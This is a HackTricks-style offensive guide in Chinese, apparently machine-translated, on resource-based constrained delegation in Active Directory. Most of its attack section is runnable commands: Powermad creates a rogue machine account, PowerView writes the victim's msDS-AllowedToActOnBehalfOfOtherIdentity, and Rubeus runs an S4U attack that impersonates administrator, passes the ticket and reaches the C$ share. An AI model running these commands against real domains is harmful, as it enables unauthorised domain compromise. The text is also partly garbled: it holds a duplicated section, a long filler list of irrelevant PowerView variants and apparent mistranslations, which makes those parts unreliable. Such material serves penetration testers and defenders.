hacktricks/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md
2023-08-03 19:12:22 +00:00

16 KiB
Raw Blame History

基于资源的受限委派

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

基于资源的受限委派基础知识

这与基本的受限委派类似,但不是将权限授予对象以模拟对服务的任何用户进行身份验证,而是在对象中设置谁能够模拟对其进行身份验证的任何用户

在这种情况下受限对象将具有一个名为_msDS-AllowedToActOnBehalfOfOtherIdentity_的属性其中包含可以模拟对其进行身份验证的其他用户的名称。

与其他委派方式相比,这种受限委派的另一个重要区别是,任何具有对计算机帐户的写权限(GenericAll/GenericWrite/WriteDacl/WriteProperty等的用户都可以设置msDS-AllowedToActOnBehalfOfOtherIdentity_在其他委派形式中您需要域管理员权限

新概念

在受限委派中曾经说过需要在用户的_userAccountControl_值中的**TrustedToAuthForDelegation标志来执行S4U2Self**。但这并不完全正确。 事实上,即使没有该值,如果您是一个服务具有SPN您也可以对任何用户执行S4U2Self。但是,如果您具有**TrustedToAuthForDelegation标志返回的TGS将是可转发的**如果您没有该标志返回的TGS将不可转发

然而,如果在S4U2Proxy中使用的TGS不可转发的,尝试滥用基本的受限委派不起作用。但是,如果您试图利用基于资源的受限委派,它将起作用(这不是一个漏洞,而是一个功能,显然)。

攻击结构

如果您对计算机帐户具有等效的写权限,则可以在该计算机上获得特权访问

假设攻击者已经对受害者计算机具有等效的写权限

  1. 攻击者入侵一个具有SPN的帐户或创建一个“Service A”。请注意任何管理员用户_都可以创建多达10个计算机对象(MachineAccountQuota_****并为它们设置SPN。因此攻击者可以只需创建一个计算机对象并设置SPN。
  2. 攻击者滥用其对受害者计算机ServiceB写权限,配置基于资源的受限委派以允许ServiceA模拟对该受害者计算机ServiceB的任何用户
  3. 攻击者使用Rubeus执行完整的S4U攻击S4U2Self和S4U2Proxy从Service A到Service B为具有对Service B的特权访问的用户。
  4. S4U2Self来自被入侵/创建的帐户的SPN请求一个Administrator到我的TGS不可转发
  5. S4U2Proxy使用前一步的不可转发TGS,请求一个Administrator到受害主机的TGS。
  6. 即使您使用的是不可转发的TGS由于您正在利用基于资源的受限委派它也会起作用。
  7. 攻击者可以传递票据模拟该用户以获得对受害者ServiceB的访问权限

要检查域的_MachineAccountQuota_您可以使用

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

攻击

创建计算机对象

您可以使用powermad在域内创建计算机对象****

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Get-DomainComputer SERVICEA #Check if created if you have powerview

配置基于资源的受限委派

使用activedirectory PowerShell模块

# Retrieve the target computer object
$targetComputer = Get-ADComputer -Identity <target_computer>

# Enable Resource-based Constrained Delegation
Set-ADComputer -Identity $targetComputer -PrincipalsAllowedToDelegateToAccount <delegated_account> -TrustedForDelegation $true

配置基于资源的受限委派

使用activedirectory PowerShell模块

# 检索目标计算机对象
$targetComputer = Get-ADComputer -Identity <target_computer>

# 启用基于资源的受限委派
Set-ADComputer -Identity $targetComputer -PrincipalsAllowedToDelegateToAccount <delegated_account> -TrustedForDelegation $true
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

使用powerview

Get-DomainUser -TrustedToAuth

此命令将返回所有受信任进行身份验证的域用户。

Get-DomainUser -TrustedToAuth | select samaccountname,memberof

此命令将返回所有受信任进行身份验证的域用户的samaccountname和memberof属性。

Get-DomainUser -TrustedToAuth | select samaccountname,memberof | fl

此命令将返回所有受信任进行身份验证的域用户的samaccountname和memberof属性并以完整格式显示。

Get-DomainUser -TrustedToAuth | select samaccountname,memberof | ft -AutoSize

此命令将返回所有受信任进行身份验证的域用户的samaccountname和memberof属性并自动调整列宽。

Get-DomainUser -TrustedToAuth | select samaccountname,memberof | Export-Csv -Path C:\path\to\file.csv

此命令将返回所有受信任进行身份验证的域用户的samaccountname和memberof属性并将结果导出到指定路径的CSV文件中。

Get-DomainUser -TrustedToAuth | select samaccountname,memberof | ConvertTo-Json

此命令将返回所有受信任进行身份验证的域用户的samaccountname和memberof属性并将结果转换为JSON格式。

Get-DomainUser -TrustedToAuth | select samaccountname,memberof | Out-GridView

此命令将返回所有受信任进行身份验证的域用户的samaccountname和memberof属性并在可视化窗口中显示结果。

Get-DomainUser -TrustedToAuth | select samaccountname,memberof | Export-Csv -Path C:\path\to\file.csv -NoTypeInformation

此命令将返回所有受信任进行身份验证的域用户的samaccountname和memberof属性并将结果导出到指定路径的CSV文件中不包含类型信息。

Get-DomainUser -TrustedToAuth | select samaccountname,memberof | ConvertTo-Json | Out-File -FilePath C:\path\to\file.json

此命令将返回所有受信任进行身份验证的域用户的samaccountname和memberof属性并将结果转换为JSON格式然后将结果保存到指定路径的JSON文件中。

Get-DomainUser -TrustedToAuth | select samaccountname,memberof | Export-Csv -Path C:\path\to\file.csv -NoTypeInformation -Encoding UTF8

此命令将返回所有受信任进行身份验证的域用户的samaccountname和memberof属性并将结果导出到指定路径的CSV文件中不包含类型信息并使用UTF-8编码。

Get-DomainUser -TrustedToAuth | select samaccountname,memberof | ConvertTo-Json | Out-File -FilePath C:\path\to\file.json -Encoding UTF8

此命令将返回所有受信任进行身份验证的域用户的samaccountname和memberof属性并将结果转换为JSON格式然后将结果保存到指定路径的JSON文件中并使用UTF-8编码。

Get-DomainUser -TrustedToAuth | select samaccountname,memberof | Export-Csv -Path C:\path\to\file.csv -NoTypeInformation -Encoding UTF8 -Delimiter ";"

此命令将返回所有受信任进行身份验证的域用户的samaccountname和memberof属性并将结果导出到指定路径的CSV文件中不包含类型信息并使用UTF-8编码和分号作为分隔符。

Get-DomainUser -TrustedToAuth | select samaccountname,memberof | ConvertTo-Json | Out-File -FilePath C:\path\to\file.json -Encoding UTF8 -NoClobber

此命令将返回所有受信任进行身份验证的域用户的samaccountname和memberof属性并将结果转换为JSON格式然后将结果保存到指定路径的JSON文件中并使用UTF-8编码如果文件已存在则不覆盖。

Get-DomainUser -TrustedToAuth | select samaccountname,memberof | Export-Csv -Path C:\path\to\file.csv -NoTypeInformation -Encoding UTF8 -Delimiter ";" -Append

此命令将返回所有受信任进行身份验证的域用户的samaccountname和memberof属性并将结果追加到指定路径的CSV文件中不包含类型信息并使用UTF-8编码和分号作为分隔符。

Get-DomainUser -TrustedToAuth | select samaccountname,memberof | ConvertTo-Json | Out-File -FilePath C:\path\to\file.json -Encoding UTF8 -NoClobber -Append

此命令将返回所有受信任进行身份验证的域用户的samaccountname和memberof属性并将结果转换为JSON格式然后将结果追加到指定路径的JSON文件中并使用UTF-8编码如果文件已存在则不覆盖。

```bash
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

执行完整的S4U攻击

首先,我们创建了一个新的计算机对象,密码为123456,因此我们需要该密码的哈希值:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

这将打印该帐户的RC4和AES哈希值。
现在,可以执行攻击:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

您可以使用Rubeus的/altservice参数仅请求一次即可生成更多的票据:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

{% hint style="danger" %} 请注意,用户有一个名为“不能委派”的属性。如果用户的此属性为True则无法冒充他。此属性可以在BloodHound中查看。 {% endhint %}

访问

最后一条命令将执行完整的S4U攻击并将TGS注入到内存中,从管理员到受害主机。
在此示例中,请求了管理员的CIFS服务的TGS因此您将能够访问C$

ls \\victim.domain.local\C$

滥用不同的服务票据

了解可用的服务票据

Kerberos错误

  • KDC_ERR_ETYPE_NOTSUPP这意味着Kerberos配置为不使用DES或RC4而您只提供了RC4哈希。在Rubeus中至少提供AES256哈希或只提供rc4、aes128和aes256哈希。示例[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())
  • KRB_AP_ERR_SKEW这意味着当前计算机的时间与DC的时间不同Kerberos无法正常工作。
  • preauth_failed:这意味着给定的用户名+哈希无法用于登录。在生成哈希时,您可能忘记在用户名中加入""`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER /domain:domain.local`)。
  • KDC_ERR_BADOPTION:这可能意味着:
  • 您尝试模拟的用户无法访问所需的服务(因为您无法模拟它或者它没有足够的权限)
  • 所请求的服务不存在如果您请求的是winrm的票据但winrm未运行
  • 创建的fakecomputer在易受攻击的服务器上失去了特权您需要将其还原。

参考资料

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥